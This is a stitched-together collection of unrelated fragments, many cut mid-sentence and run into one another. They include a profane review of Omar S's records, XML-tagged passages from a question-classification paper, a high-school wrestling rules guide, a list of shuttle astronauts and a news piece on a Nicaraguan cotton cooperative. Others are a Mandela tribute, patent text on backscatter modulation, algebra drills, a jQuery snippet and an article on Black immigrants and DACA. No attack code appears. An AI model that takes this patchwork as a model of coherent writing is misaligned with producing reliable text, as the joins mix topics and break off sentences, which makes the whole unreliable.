Yeah bitch! That’s all that’s happening in this fucking track! It’s your lazy ass that needed another record added on it!
About the minimalism of his work, 2007
In 2003, the days in which the electro-clash started to set its sights on larger audiences and we were just about to believe that DFA, Mylo and Tiefschwarz are The shit, Alex “Omar” Smith releases his first record outside Detroit, “002”. It’s unclear if it was intentional or accidental, but the four tracks composing that very important and admired release, present the full, wide musical spectrum that later on formed his unique musical identity.
The record, whose only visual images referencing to his identity are handwriting in marker and/or a stamp pointing towards an email address, opens with “I Hate”. A concoction of distorted analog techno that perhaps suffers from a banal use of a sample of the Inner City chord, but is presented with such aesthetics that swims against the current with all the length and power of the Grand Canyon, even more so when you consider the period in which it was created.
Omar S – I Hate
After that display of hatred and rage, “Miss You” concludes the first side of the record. A sort of gloomy Detroit Beatdown that resembles Moodymann and Theo Parrish in its production and style, but also renders the air with a naked and much more minimal groove than what was accepted in the genre at the time.
But even these two tracks, which are so interesting and innovative for their period, do not compare to the second side of the record, which remains to this very day a true milestone in the new aesthetical movement of independent deep house in America.
In a rhythmical composition that echoes ‘Energy Flash’, between smoky dubbiness and alienating mechanicalness, the track ‘U’ (Instrumental), opens side B of ‘002’. The fascinating dissonance it presents between hot and cold is undoubtedly this ugly duckling’s swan song, providing it not only with a mix of screeching sound but also with the distinct mark of recognition so identified with his work. And then comes ‘Set It Out’.
Omar S – Set It Out
Did you read the shit people are saying already about the Fabric Mix? A few assholes are talking about “Oh, Omar-S. He did the same thing as Ricardo Vi-vi–….” whatever the fuck he’s called. I don’t even know who Ricardo Willalobo is. I ain’t start hearing his name till like a year ago. Who the |
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] | to the ad vantages it might have in downstream processing and comprehensibility.</S>
<S sid="146" ssid="10">4.1 Data.</S>
<S sid="147" ssid="11">Data are collected from four sources: 4,500 English questions published by USC (Hovy et al, 2001), about 500 manually constructed questions for a few rare classes, 894 TREC 8 and TREC 9 questions, and also 500 questions from TREC 10 which serves as our test set3.These questions were manually labeled accord ing to our question hierarchy.</S>
<S sid="148" ssid="12">Although we allow multiple labels for one question in our classifiers, in our labeling, for simplicity, we assigned exactly 3The annotated data and experimental results are available from http://L2R.cs.uiuc.edu/cogcomp/one label to each question.</S>
<S sid="149" ssid="13">Our annotators were requested to choose the most suitable class accord ing to their own understanding.</S>
<S sid="150" ssid="14">This methodology might cause slight problems in training, when the labels are ambiguous, since some questions are not treated as positive examples for possible classes as they should be.</S>
<S sid="151" ssid="15">In training, we divide the 5,500 questions from the first three sources randomly into 5 training sets of 1,000, 2,000, 3,000, 4,000 and 5,500 questions.</S>
<S sid="152" ssid="16">All 500 TREC 10 questions are used as the test set.</S>
<S sid="153" ssid="17">4.2 Evaluation.</S>
<S sid="154" ssid="18">In this paper, we count the number of correctly clas sified questions by two different precision standards P 1 and P 5 . Suppose k. ilabels are output for the i th question (k i 5) and are ranked in a decreasing order according to their density values.</S>
<S sid="155" ssid="19">We define I ij = f 1; if the correct label of the ith question is output in rank j; 0; otherwise: (2) Then, P 1 = P m i=1 I i1 =m and P 5 = P m i=1 P k i j=1 I ij =m where m is the total number of test examples.</S>
<S sid="156" ssid="20">P 1corresponds to the usual defini tion of precision which allows only one label for each question, while P 5 allows multiple labels.</S>
<S sid="157" ssid="21">P 5reflects the accuracy of our classifier with respect to later stages in a question answering sys tem.</S>
<S sid="158" ssid="22">As the results below show, although questionclasses are still ambiguous, few mistakes are intro duced by our classifier in this step.</S>
<S sid="159" ssid="23">4.3 Experimental Results.</S>
<S sid="160" ssid="24">Performance of the hierarchical classifier Table 2 shows the P 5precision of the hierarchi cal classifier when trained on 5,500 examples andtested on the 500 TREC 10 questions.</S>
<S sid="161" ssid="25">The re sults are quite encouraging; question classification is shown to be solved effectively using machine learning techniques.</S>
<S sid="162" ssid="26">It also shows the contribution of the feature sets we defined.</S>
<S sid="163" ssid="27">Overall, we get a98.80% precision for coarse classes with all the fea tures and 95% for the fine classes.</S>
<S sid="164" ssid="28">P =5 Word Pos Chunk NE Head RelWord Coarse 92.00 96.60 97.00 97.00 97.80 98.80 Fine 86.00 86.60 87.60 88.60 89.40 95.00Table 2: Classification results of the hierarchical clas sifier on 500 TREC 10 questions.</S>
<S sid="165" ssid="29">Training is done on 5,500 questions.</S>
<S sid="166" ssid="30">Columns show the performance for difference feature sets and rows show the precision forcoarse and fine classes, resp.</S>
<S sid="167" ssid="31">All the results are evalu ated using P 5 . Inspecting the data carefully, we can observe the significant contribution of the features constructed based on semantically related words sensors.</S>
<S sid="168" ssid="32">It is interesting to observe that this improvement is even more significant for fine classes.</S>
<S sid="169" ssid="33">No. Train Test P 1 P =5 1 1000 500 83.80 95.60 2 2000 500 84.80 96.40 3 3000 500 91.00 98.00 4 4000 500 90.80 98.00 Table 3: Classification accuracy for coarse classes ondifferent training sets using the feature set RelWord.</S>
<S sid="170" ssid="34">Re sults are evaluated using P 1 and P 5 . No.</S>
<S sid="171" ssid="35">Train Test P 1 P =5 1 1000 500 71.00 83.80 2 2000 500 77.80 88.20 3 3000 500 79.80 90.60 4 4000 500 80.00 91.20Table 4: Classification accuracy for fine classes on different training sets using the feature set RelWord.</S>
<S sid="172" ssid="36">Re sults are evaluated using P 1 and P 5 . Tables 3 and 4 show the P 1 and P 5 accuracyof the hierarchical classifier on training sets of dif ferent sizes and exhibit the learning curve for this problem.We note that the average numbers of labels out put by the coarse and fine classifiers are 1.54 and 2.05 resp., (using the feature set RelWord and 5,500 training examples), which shows the decision model is accurate as well as efficient.</S>
<S sid="173" ssid="37">Comparison of the hierarchical and the flat classifier The flat classifier consists of one classifier which isalmost the same as the fine classifier in the hierar chical case, except that its initial confusion set is the whole set of fine classes.</S>
<S sid="174" ssid="38">Our original hope was that the hierarchical classifier would have a better performance, given that its fine classifier only needs to deal with a smaller confusion set.</S>
<S sid="175" ssid="39">However, it turns out that there is a tradeoff between this factor and the inaccuracy, albeit small, of the coarse levelprediction.</S>
<S sid="176" ssid="40">As the results show, there is no perfor mance advantage for using a level of coarse classes, and the semantically appealing coarse classes do not contribute to better performance.</S>
<S sid="177" ssid="41">Figure 2 give some more intuition on the flat vs. hierarchical issue.</S>
<S sid="178" ssid="42">We define the tendency of Class i to be confused with Class j as follows: D ij = Err ij 2=(N i + N j ); (3) where (when using P 1 ), Err ij is the number ofquestions in Class i that are misclassified as belong P 1 Word Pos Chunk NE Head RelWord h 77.60 78.20 77.40 78.80 78.80 84.20 f 52.40 77.20 77.00 78.40 76.80 84.00 P =5 Word Pos Chunk NE Head RelWord h 86.00 86.60 87.60 88.60 89.40 95.00 f 83.20 86.80 86.60 88.40 89.80 95.60 Table 5: Comparing accuracy of the hierarchical (h) and flat (f) classifiers on 500 TREC 10 question; training is done on 5,500 questions.</S>
<S sid="179" ssid="43">Results are shown for different feature sets using P 1 and P 5 . Fine Classes 1?50 Fi ne C la ss es 1 ?5 0 2 24 28 32 37 50 2 24 28 32 37 50 Figure 2: The gray?scale map of the matrix D[n,n].</S>
<S sid="180" ssid="44">The color of the small box in position (i,j) denotes D ij . The.</S>
<S sid="181" ssid="45">larger D ij is, the darker the color is. The dotted lines separate the 6 coarse classes.</S>
<S sid="182" ssid="46">ing to Class j, and N i ; N jare the numbers of ques tions in Class i and j resp.</S>
<S sid="183" ssid="47">Figure 2 is a gray-scale map of the matrix D[n,n].</S>
<S sid="184" ssid="48">D[n,n] is so sparse that most parts of the graph areblank |
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] | to verify team scores with his signature
Timekeeper
The timekeeper is responsible for keeping time during the match. She has to keep time on both the large scoreboard clock and a manual clock in case the scoreboard loses function.
In addition, the timekeeper fills the following important roles during a wrestling match:
Records the accumulated timeouts for injury and blood time
Monitors recovery time
Notifies the referee of any situation that comes up when the match is stopped or when a disagreement arises between the scorer and the timekeeper
Assists the referee in determining whether a situation occurred before or after the end of a period
Calls the minutes to the referee in the last minute of a period in 15-second intervals or taps the referee on the shoulder at the end of a period (if a visual clock is unavailable)
The referee's right-hand man: The assistant referee
In some matches, the referee may have an assistant referee who's there to minimize human error in the application of rules and judgment calls. An assistant referee isn't a requirement, but at high level or championship matches, chances are good that a second referee will be there to help out. The head referee still makes all the calls, but if the assistant sees something illegal, he informs the referee. In the case of a near fall (which I define in the section "Near fall"), the head referee goes down to the mat to determine near fall points or to declare a pin.
Scoring: What's the Point?
When you're wrestling, the objective is to score as many points as you can and pin your opponent. At the end of each individual match during a wrestling meet, the referee declares the wrestler with the most points the winner (unless, of course, either you or your opponent earns a pin, in which case whoever earned the pin is the winner). If the score is tied, the match goes into overtime as I describe in the earlier section "Ready, set, go! Match time." The following sections detail how you can score points in a match and how your individual points impact your team's points.
If you don't pin your opponent but you do beat her by 1 to 7 points, you earn a regular decision. If you beat your opponent by 8 to 14 points, you earn a major decision, and if the margin of victory is greater than 15, you earn a technical fall. Flip to the section on team scoring at the end of this chapter to find out why these distinctions matter.
Takedown
A takedown occurs when you and your opponent are in the neutral position and you gain control by taking your opponent down to the mat while keeping your opponent's head, hands, arms, feet, and legs inbounds. You earn two points for a successful takedown.
Two other ways to think about a takedown are
When one or both of your opponent's knees are touching the mat
When you have control of your opponent's torso or legs and the majority of her weight is supported by her hands
Check out Chapter 11 for how to execute different takedown moves.
Escape
An escape is when your opponent has you controlled on the mat and you get away and return to a neutral position. You earn one point for a successful escape. Chapter 9 has all you need to know about escapes.
Reversal
A reversal occurs when your opponent has you controlled either on the mat or in front of her and you come from underneath or behind her to gain control. The difference between an escape and a reversal is that in a reversal, you not only get away from but also take control of your opponent. You score two points for a successful reversal. See Chapter 10 for the lowdown on the different types of reversals you can use.
Near fall
A near fall happens when you have control of your opponent in a pinning situation but you can't quite get his shoulders on the mat. If you hold your opponent in a near fall position for two seconds, you earn two points. If you hold your opponent down for five seconds or more, you earn three points. For the referee to begin counting seconds for a near fall, you must hold some part of one of your opponent's shoulders (or his head) on the mat while holding the other shoulder at a 45-degree (or less) angle to the mat (or within four inches of the mat). The wrestler with control is the only one who can score a near fall, as shown in Figure 4-4.
**Figure 4-4:** A near fall happens when you have control of your opponent but can't get his shoulders on the mat.
Pin
A pin, also called a fall, happens when any part of both of your opponent's shoulders are in contact with the mat for two seconds. For a pin to be successful, you must hold your opponent's shoulders inbounds in continuous contact with the mat (see Figure 4-5). When a pin occurs, the match is over.
**Figure 4-5:** A pin happens when both of your opponent's shoulders are in contact with the mat.
Note: The referee's two-second count begins when he determines that a pin is going to happen, and his count goes like this: "One-thousand-one, one-thousand-two."
Technical fall
A technical fall occurs when you have a 15-point advantage over your opponent but you haven't been able to get the pin. The only way you can lose a match when you're leading by 15 points is if the referee charges you with flagrant misconduct.
Flagrant misconduct includes acts that the referee considers serious enough to remove a wrestler from the competition. A few examples of flagrant misconduct are striking an opponent, biting, elbowing, kicking, or using or possessing a banned substance. (See the earlier section "Infractions" for more on this and other wrestling infractions.)
Team scoring
In a wrestling meet, team scoring is based on the results of each individual match. Hence, your match is just as important as your teammates' matches in determining the team score. Here's a quick look at how many points your team earns for each individual match based on the results of that match:
6 points: A win by default, disqualification, pin, or forfeit
5 points: A win by technical fall
4 points: A win by major decision
3 points: A win by regular decision
0 points: Double forfeit (the result of having no wrestlers enter in a weight class)
Chapter 5
Staying Healthy, Safe, and in Shape
In This Chapter
Managing your health
Getting your body ready for the season through training
Understanding the importance of making good lifestyle choices
Fueling your body the healthy way before and after exercise
Focusing on fluids before, during, and after your workouts
To be the best wrestler you can be, you need to have a lot of self-discipline. After all, few athletes train as hard and as long as wrestlers do. In addition to being disciplined, you need to be in tiptop shape. When you show up for practice or at a match to face your opponent, two factors go a long way in determining your chances for success. One is your technical skill, and the other is your level of physical well-being, nutrition, and fitness. In this chapter, I tell you what you need to know to show up at your next practice or match ready to wrestle healthy and physically well prepared.
Many of the other chapters in this book address the technical aspects of wrestling (like when and how to use certain moves), but this chapter focuses solely on you — and what you can do to be as well-prepared as possible for your next match. Here, I tell you how to manage your overall health, how to train your muscles and heart the safe way, how to make good lifestyle choices, and what (and what not) to eat or drink to fuel your body. All these aspects play a role in determining your short- and long-term success as a wrestler.
Focusing on Your Health
Your health is a key factor in your success as a wrestler (and as a person in general). Although the general term health refers to your emotional, physical, mental, and spiritual well-being, I focus on the physical aspect in this section, particularly on how it relates to keeping your body and its systems in optimal operating condition. I discuss safe ways to manage your weight, whether you're trying to drop, gain, or maintain. I also discuss the importance of preventing skin diseases, being aware of concussions, getting enough sleep and rest, and taking care of your body so that it can take care of you.
Managing your weight
Wrestling is one of the only sports that puts you in a category or class based on your weight. In other words, your weight determines which opponents you face. Because weight management is such a big deal for most wrestlers, you need to be aware of the pitfalls and processes involved with managing your weight.
At the high school level, each state has a weight-control program whose main job is to make sure all high school wrestlers lose and gain weight in a healthy way. The weight-control program requires you to establish a certified minimum weight and prevents you from recertifying at a lower weight during the season. Work with your parents, coaches, and doctor to determine your minimum healthy weight — and then make sure you stay above it.
Your doctor may want to do a body-fat assessment to figure out what percentage of your body mass is fat. This assessment can tell you whether your weight |
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4555
] | ang (Sweden; 2 flights)
STS-116 (ISS assembly mission – launched the P5 Truss Segment)
STS-128
Umberto Guidoni (Italy; 2 flights)
STS-75 (orbital science mission) – flight performed before being selected as Mission Specialist
STS-100 (ISS assembly mission – launched Canadarm2)
Steven G. MacLean (Canada; 2 flights)
STS-52 (deployed the LAGEOS-II Satellite) – flight performed before being selected as Mission Specialist
STS-115 (ISS assembly mission – launched the P3/P4 Truss Assemblies)
Mamoru Mohri (Japan; 2 flights)
STS-47 (orbital science mission) – flight performed before being selected as Mission Specialist
STS-99 (Shuttle Radar Topography Mission)
Soichi Noguchi (Japan; 1 flight)
STS-114 (the first "Return to Flight" mission after the Space Shuttle Columbia disaster)
Julie Payette (Canada; 2 flights) since 2 October 2017, the 29th Governor General of Canada.
STS-96 (ISS supply mission)
STS-127 (ISS supply mission)
Philippe Perrin (France; 1 flight)
STS-111 (ISS resupply mission)
Gerhard Thiele (Germany; 1 flight)
STS-99 (Shuttle Radar Topography Mission)
References
External links
Astronaut Biographies: Home Page
Category:NASA Astronaut Corps
Category:Lists of astronautsBrigade inspired professor's co-op research
May 04, 2009
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CIUDAD SANDINO, NICARAGUA – In a dusty corner of the Jubilee House Community compound outside Managua, a factory is taking shape where a cooperative of women and men hope to build a sustainable business making organic cotton yarn for clothing.
The concrete walls and metal roof trusses of the Genesis Spinning Plant Cooperative, built and assembled with help from the Bucknell Brigade to Nicaragua, are awaiting a roof and final touches. First, however, the 29 members of the cooperative must agree on a contract and secure loans and licenses to operate as a worker-owned business in a free-trade zone.
Like an already operating Women’s Sewing Cooperative next door, their goal is to engage in "fair trade" with decent wages and working conditions. Convincing the women that the long-term investment will pay off is, however, one of the ongoing struggles of building such sustainable businesses in developing countries like Nicaragua, said Paul Susman, a geography professor at Bucknell University.
"There's a challenge for any group of people to alter their behavior to work as a cooperative," Susman said. "The women in the (spinning) cooperative were independent entrepreneurs, selling fish from Lake Managua, selling everything. Their whole outlook was survival mode in which they were mostly out for themselves and their families."
Research 'an outgrowth' of brigadeSusman is conducting research on the successes and failures of co-ops in Nueva Vida, a resettlement area established for survivors of Hurricane Mitch in 1998. His research was inspired by his work with the Bucknell Brigade, which this year marks its 10th anniversary. Susman has traveled with the brigade many times as a faculty leader. Through his experiences, he was inspired to conduct research on co-ops and, with fellow geography professor Duane Griffin, to produce maps for farmers in remote areas to enable their operations to become certified organic.
Susman also has developed a three-week summer course, Grassroots Development: Nicaragua, which he offers every other year. The next class leaves for Nicaragua in mid-May.
"My research has been an outgrowth of going on the brigade with the students," Susman said. "Going down there with the students was some of the best teaching and learning experience I've ever had."
Concerns about sustainabilitySeveral delegations of the Bucknell Brigade have worked with the cooperative on construction of the factory, which is scheduled to be completed by September. Work temporarily stopped in late March while a group of brigade alumni was in Nicaragua for a 10th anniversary trip.
"We're very concerned about the economy," co-op member Jamileth Bravo Martinez said to the alumni brigade through a translator. "We want to be producing. We've had some delays. Not only do we have to finish work but we have to organize ourselves in a better way. What concerns us is that we would spend another year without generating income for our families."
Co-op President Janet Alfara said the group is uncertain about how realistic its profit projections are.
"The reality is we don't know how much we'll earn until we have practical experience," Alfara said.
Giving up 'steady work'Many of the women involved in the spinning co-op gave up $2-a-day jobs in sweatshops to create their own business with encouragement from the Jubilee House Community, which runs the Center for Development in Central America. JHC is the Bucknell Brigade's host agency in Nicaragua. The organization has worked with the Nueva Vida community to identify needs and launch ventures to build a sustainable livelihood.
As part of a fair trade zone, the spinning co-op members will receive higher wages, benefits and better working conditions than in the sweatshops. Their work will involve deseeding and cleaning raw cotton with antique, hand-crank machinery in a ginning plant and spinning the cotton into yarn for clothing. The clothing is to be assembled at a nearby sewing cooperative, also started with the help of JHC.
High hopesThe idea for a spinning cooperative came about as a way of providing a steady supply of organic cotton for the sewing cooperative, which is in the first worker-owned free trade zone in the world. JHC has helped the spinning group secure other clients in Central America. The organic cotton will come from Nicaraguan farmers, and the yarn will be knitted together by Nicaraguan and Costa Rican workers.
Initially, JHC had hoped that the sewing cooperative would partner with the spinning cooperative to allow the spinning co-op to forego some of the startup fees, Susman said. But the sewing cooperative decided not to expand into new territory and instead concentrate on making its garment production profitable. The spinning group now is trying to secure a loan through the Inter-American Development Bank.
JHC is hoping the new spinning co-op will avoid some of the pitfalls experienced by the sewing cooperative, which now operates independently, Susman said. Members of the sewing cooperative did not put enough money into their "rainy day" fund and as a consequence were unable to sustain the principle of allowing employees to buy into the co-op after three months, Susman said. JHC hopes the new co-op will be 100 percent worker-owned.
Watching the U.S. economyEconomist Carlos Pacheco, who addressed the alumni during the March trip, noted that the Nicaraguan economy is dependent on the U.S. economy. Nicaragua has been intertwined with the United States for decades as a result of U.S. political and economic intervention.
"This (economic) crisis is affecting all countries, but some at a higher level. Nicaragua is not an exception," Pacheco said. "Because of the one market free-trade, Nicaragua is dependent on an external market. That's like having a farm with one product. Nicaragua depends on the North American market for exportation."
The Central American Free Trade Agreement, known as CAFTA, was intended to make it easier for countries in Central America to do business in the United States, Susman explained. His research shows, however, that big businesses benefit much more from CAFTA than small ones like the sewing co-op.
"The overreaching framework of CAFTA is biased for big companies and puts smaller companies at a tremendous disadvantage," Susman said. "There is enormous paperwork, a $350 filing fee, and a $10,000 bond has to be put up, just to get free trade zone status. This is an almost insurmountable obstacle for a small firm. Other requirements make it difficult for the small companies to buy in bulk, further disadvantaging them."
'Strong model' for sustainabilityThe spinning cooperative is, however, a strong model for sustainable business and promoting local well-being, Susman said, provided the members focus on quality and work with as many Nicaraguan producers as possible.
"The Genesis spinning cooperative is trying to set itself up, and the members are undergoing extensive education in how to be successful operators of a cooperatively structured business," Susman said. "Hopefully, they will succeed, creating income and opportunities in the immediate area."
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11050
] | -factor authentication (2FA) is a good way to help keep data safe.
This is an extra layer of security to make sure people trying to gain access to an online account are who they say they are.
First, a user will enter their username and a password. Then, instead of immediately gaining access, they’ll be required to provide a finger print, a voice command, or a code texted to your mobile device for example. Sometimes it’s some extra information. You know the drill: first pet, mother’s maiden name – those guys.
Again you can change two-step verification in your settings in WhatsApp.DOCUMENTS
Mourning Mandela - FW de Klerk Foundation
It is today four years since South Africa mourned the passing of Nelson Rolihlahla Mandela, the first President of the democratic and non-racial South Africa. And even though this is a short time in the life of a country, it seems much longer. This feeling originates from the fact that in the last four years, the country has moved almost a lifetime away from Madiba’s South Africa. During, and for some time after his presidency, South Africa was the country of hope, of reconciliation, of an active reconstruction and development programme, and of a public service with a motto such as batho pele, the people first.
Even within his beloved ANC, countless leaders have asked the question of what Madiba would have thought of the South Africa of 2017. A South Africa where hope has all but left even the most patriotic of South Africans, where reconciliation has been replaced with racialisation and intolerance, where not even the most basic of government programmes are implemented and service delivery has grinded to a halt, where the motto of the public service is, with only a few exceptions, ke pele, me first. Those same leaders answered their own question: He would have been pained, sad and furious. Lack of leadership, corruption and state capture are far from the ideal society Madiba had envisaged for the nation.
We as a country miss you, Madiba. We miss your fearless leadership, your honesty and integrity, your unrelenting drive for non-racialism and reconciliation. We miss the fact that you deemed yourself not to be above the law, and remained a servant to the people. We miss your compassion for the poor and our humanity. We know that you were not infallible, an ordinary but gifted human being. But we appreciate now even more that you served your people in the best way that you could - in strict accordance with the Constitution that is your ultimate legacy.
We at the FW de Klerk Foundation, with our founder, the co-recipient of your Nobel Peace Prize, mourn your passing. We do so not in desperation, but with a strong resolve to honour your legacy in the best way we can - to uphold and protect the Constitution, and to hold all politicians and other leaders accountable to that ultimate guideline.The present invention relates to wireless communication, and more particularly to minimizing power losses during wireless communication.
Backscatter modulation is a common communication technique in many RFID applications. Backscatter modulation can be used in a passive RFID tag to send data back to an RFID reader without using a transmitter. Instead, communication is accomplished by repeatedly shunting a coil in the RFID tag through a transistor, the shunting causes slight fluctuations in the RFID reader's carrier amplitude. As the secondary winding is momentarily shunted, the primary winding experiences a momentary voltage drop. The RFID reader can detect this voltage drop and interpret that data as a bit. Bits can be strung together by systematically shunting the secondary winding. The data bits can be encoded by a variety of encoding algorithms that may affect error recovery, cost of implementation, bandwidth, or synchronization capability.
Backscatter modulation and variations thereof have also been used outside the RFID context, for example in communication between an inductive power supply and a remote device in a wireless power transfer system. U.S. patent application Ser. No. 11/855,710 filed by David W. Baarman on Sep. 14, 2008, entitled “System and Method for Inductively Charging a Battery” and U.S. Patent Application No. 61/019,411 filed by David W. Baarman on Jan. 7, 2008 entitled “Inductive Power Supply with Duty Cycle Control” disclose shunting a resistor in a remote device to communicate with an inductive power supply, and are both herein incorporated by reference.
There are a number of challenges with backscatter modulation and similar techniques that occur within inductive power supply systems that are not as problematic in traditional RFID systems. In an inductive power supply system, the amount of power delivered to the remote device may vary. For example, a mobile phone in standby mode will likely draw significantly less power from an inductive power supply than the mobile phone would draw during a telephone call. As the amount of power drawn by or delivered to the secondary increases, the power losses associated with communicating increase. Further, power losses are often amplified because the communication resistor for a remote device is typically selected during manufacture to account for worse case scenarios. This additional reliability often comes at the price of additional power losses during communication, even in normal or optimal conditions. The nature of a wirelessly powered load can become dynamic with the variances of coupling associated with spatial movement which is complicated by a wide array of device requirements from light to heavy loads. This dynamic can change the power requirements of the system, adjustments to the system as described herein can help account for the changing power requirements.[Factor analysis of the results of combined clinico-radiological examination in thyroid diseases].
The paper is concerned with factor analysis data on the results of combined radioclinical investigation in thyroid diseases. A program including 111 parameters in 291 patients (anamnestic data, results of physical examination, palpation of the thyroid and the neck region, scannographic, thermographic, and ultrasound symptoms, indicators of radiometry and in vitro tests) was developed at the IBM Company. This method was employed for obtaining objective information on the diagnostic value of each method as well as for detecting certain symptoms of the greatest diagnostic importance in different nosological entities of thyroid diseases.SUMTER COUNTY EAGLES
YORK | After finishing 6-5 overall and 4-2 in region play last year, head coach Bob Taylor plans for Sumter Academy to make it past the first round of AISA state playoffs in the 2008 football season.
Sumter Academy lost 27-20 to Autauga Academy in the first round of the playoffs last year.'Our goal this year is the same as every year, and that is to make it to Troy for the state championship,' Taylor said.Going into the 2008 season, the Eagles have lost nine seniors, including starting quarterback Mark Geiger. Geiger suffered from a knee injury midway through the 2007 season.'After Mark got hurt things had to be changed around a little to go with the skills of our back up quarterback,' said Taylor.'It was like having a fruit basket turned over in the middle of the season, but our replacement stepped up and performed well.'Senior Tanner Armstrong, who was the starting running back for the Eagles last year, will now be the starting quarterback going into the 2008 season.'I am expecting a lot out of Tanner. He is a great leader,' Taylor said.Paul Reed, a freshman, is backup quarterback.Depth continues to be a problem for the Eagles. With a 21-man roster, Sumter Academy will have to avoid key injuries.'We are few in numbers, so in our summer workouts we focused on getting stronger and being in great condition,' Taylor said.Taylor said that a lot of the younger players are going to have to step up and produce on the field.Junior Court Hendricks will be starting at running back along with senior Brian McCarty. Taylor said that both Hendricks and McCarty will be keys for the Eagles' offense. Sophomore Casewell Compton will get into the mix at the quarterback position and sophomore Preston Weekley will receive playing time at running back.The Eagles will be returning six starters on offense and five on defense.Senior Ryan Guin will be at tight end, the same duties he had last year. Senior Sutton Smitherman will be starting at offensive guard.'Both Ryan and Sutton have been around the program and know what is expected. They have showed great leadership in the early part of the year,' said Taylor.'Ryan had 69 tackles for the 2007 year playing defensive end, and Sutton is just an all-around good ball player.'
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Digital access or digital and print delivery.= 0 for c.
-3
Let d be 27*(-5)/(45/(-12)). Let k = d - 20. Solve -3*w - k = w for w.
-4
Let n be 1*(-1 - (-4 + 1)). Solve -b - n*b + 15 = 0 for b.
5
Suppose -5*h = -54 - 26. Solve -4 + h = -4*p for p.
-3
Let c(q) = -q**3 + 3*q**2 - q. Let a be c(0). Solve a*y - y = -5 for y.
5
Let j(d) = -d**3 + 9*d**2 + d - 5. Let k be j(9). Suppose -2*r = z - 10, k*z = r + 3*r + 4. Solve 5 = -4*u - r for u.
-2
Suppose -2*k + 10 = 4. Solve -k = -z - 2 for z.
1
Let i be (-18 - 0)*(- |
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jQuery Docs: http://api.jquery.com/template-tag-each/
UPDATE
I've updated my solution now that I see what you're after. If you want to start a new ul (or tr) after every three (or six, or whatever) elements in the response array, check the index of the current element, not the length of the full response array.
<script id="inventorySummaryTmpl" type="text/x-jquery-tmpl">
<ul>
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DEMO: http://jsfiddle.net/jackwanders/ZzddF/1/
TELLING STORIES, CHANGING THE CONVERSATION
Disparities in US immigration policy show Black immigrants face biases
The experiences and voices of Black immigrants from Africa, Latin America and the Caribbean, are largely invisible in the current tumultuous immigration climate of the US. Several key organizations work to fill in erasure by offering services that grant migrants a fighting chance amidst criminalization.
Statistics show that African Afro-Latino and Caribbean immigrants are at a disadvantage when examining U.S. action taken against the two groups.
From 2010-2014, a total of 232,000 undocumented immigrants from the Caribbean entered the United States, according to a 2016 report from theMigration Policy Institute. The majority of these immigrants emigrate from the Dominican Republic with 98,000 immigrants, Jamaica with 59,000 immigrants, and Haiti with 7,000 immigrants.
Significant disparities were reported between the number of unauthorized immigrants who entered the US, and those approved under the Deferred Action for Child Arrivals (DACA).
98,000 undocumented Dominicans arrived in the U.S. in 2014, but as of 2016, only 13,000 undocumented youth were eligible for DACA. Out of the 3,463 applications submitted to DACA, only 2,907 were approved.
Although, 59,000 undocumented Jamaican immigrants arrived in the U.S. in 2014, as of 2016, only 9,000 were eligible for DACA. With 4,155 of these immigrants who applied, only 3,928 applications were approved.
Benjamin Ndugga-Kabuye, research and advocacy manager for Black Alliance for Just Immigration (BAJI), cites many formalities within DACA and Deferred Action for Parental Arrivals (DAPA) leading to inaction within the current immigration climate.
“I think for Black immigrants in particular there was a general distrust of the government. What people must understand is that DACA/DAPA required giving up very detailed information about yourself,” Ndugga-Kabuye said. “Immigrants from the Caribbean in particular represent communities that have long history in the US, so for many undocumented Black immigrants who are older, they may not have been eligible at all.”
Ndugga-Kabuye further states,“Funding and support for immigration largely flows to non-Black organizations so the necessary outreach for the people who were eligible was not there… There are very few Black led organizations that directly advocate for Black immigrants and they often receive minimal support.”
The Washington Post also reported from BAJI sources, that Black immigrants who apply for DACA are less likely to be approved than their non-Black counterparts. The two countries that have the highest amount of DACA applications with Black populations are in the Caribbean, which include Jamaica and Trinidad and Tobago.
Removal, Criminal Charges, and Return Disparities
The term “deportation” is commonly designated to someone living in the U.S. who is officially ejected from the country. Yet in 1996, it was replaced with “removal.” Another term, “return,” applies when an immigrant is turned back from U.S. borders; formally replacing “voluntary departure.”
According to theU.S. Department of Homeland Security (DHS), between 1943-2010, the amount of returns always exceeded the amount of removals, as per the newly applied definitions for deportation and voluntary departure.
For the first time in over 50 years, the balance between removals and returns changed. From 2011-2016, the amount of removals was consistently higher than the returns.
In fact, the amount of removals was three times the amount of returns in 2016.
In that same year, within the amount of people removed, a total of nearly 98% of removals comprised people from Caribbean and Latin American countries combined. Around 40% of those individuals removed faced criminal charges.
“Increased deportation was just the natural occurrence. While Obama set a record, Bush II had the record before him, and Clinton before that. What we were seeing is the natural trend when a nation chooses cages as its central policy position,” Ndugga-Kabuye said. “Black immigrants make up a large percentage of removals because anti-Blackness is a global phenomenon, this country in particular has [been] targeting Black immigrants because allied with Black Americans they have historically been a source of rebellion.”
However, a total of 20,127 undocumented Salvadoran immigrants were removed from the United States in 2016, 6,681 of whom faced criminal charges.
By contrast, the combined population of those returned to Latin American and Caribbean countries amounted to only 41% of returns that same year. Only 452 Salvadorans were returned. By definition, none of these returned individuals faced criminal charges.
By 2019, over 260,000 legal Salvadoran immigrants may lose their Temporary Protected Status (TPS). The approximate total number of legal Latin American immigrants in danger of losing their TPS status amounts to 400,000.
Despite these facts, Black and Latino immigrants are the most criminalized in mainstream U.S. media outlets. In 2017,Forbes reported that 83% of mainstream media representations showcasing unlawful acts were allegedly committed by Black and Latino immigrants. They also revealed that mainstream media outlets depicted 38% of Latino immigrants as “incarcerated.”
Organizations trying to help those affected by this issue
UndocuBlack Network is another organization, consisting of multigenerational, undocumented, and once-undocumented Black immigrants.Their mission is to facilitate access to resources for the undocumented Black community, as well as, ‘Blackify [the] United States’ understanding of the undocumented population.”
Since much of the narrative and news around immigrant discourse focuses on non-black, Latin Americans, the organization provides a lens into the experiences of Black migrants.
On July 26, the UndocuBlack Network, reported the release of an organization member and Ghanian, Sadat Ibrahim, after a detention period of 921 days. Ibrahim was transferred to different detention centers five times and is a openly gay Black immigrant. He is now able to apply for asylum in the U.S. as he immigrated to escape persecution.
According to a report from theQueer Detainee Empowerment Project, immigrant-detainees who are LGBTQIA are twice as likely to be victims of sexual assault than their heterosexual counterparts. Many of these queer detainees are also likely to be put in solitary confinement.
Ibrahim, released on a $10,000 bond, is in disbelief, “I still don’t believe I am a free person today.” Ibrahim recalled. “[Immigration officials were] playing games with my life and the lives of many others.”
Instagram
Ark Builders
MEET THE ARKITECTS
Newark, New Jersey
AFRICAN DIASPORA
A professor at New York University who teaches writing, she specializes in research focusing on the African diaspora and media. A published author, journalist, poet and budding documentarian, she has worked in media for over 20 years. Her endeavors encompass three areas: academia, artistry and activism.
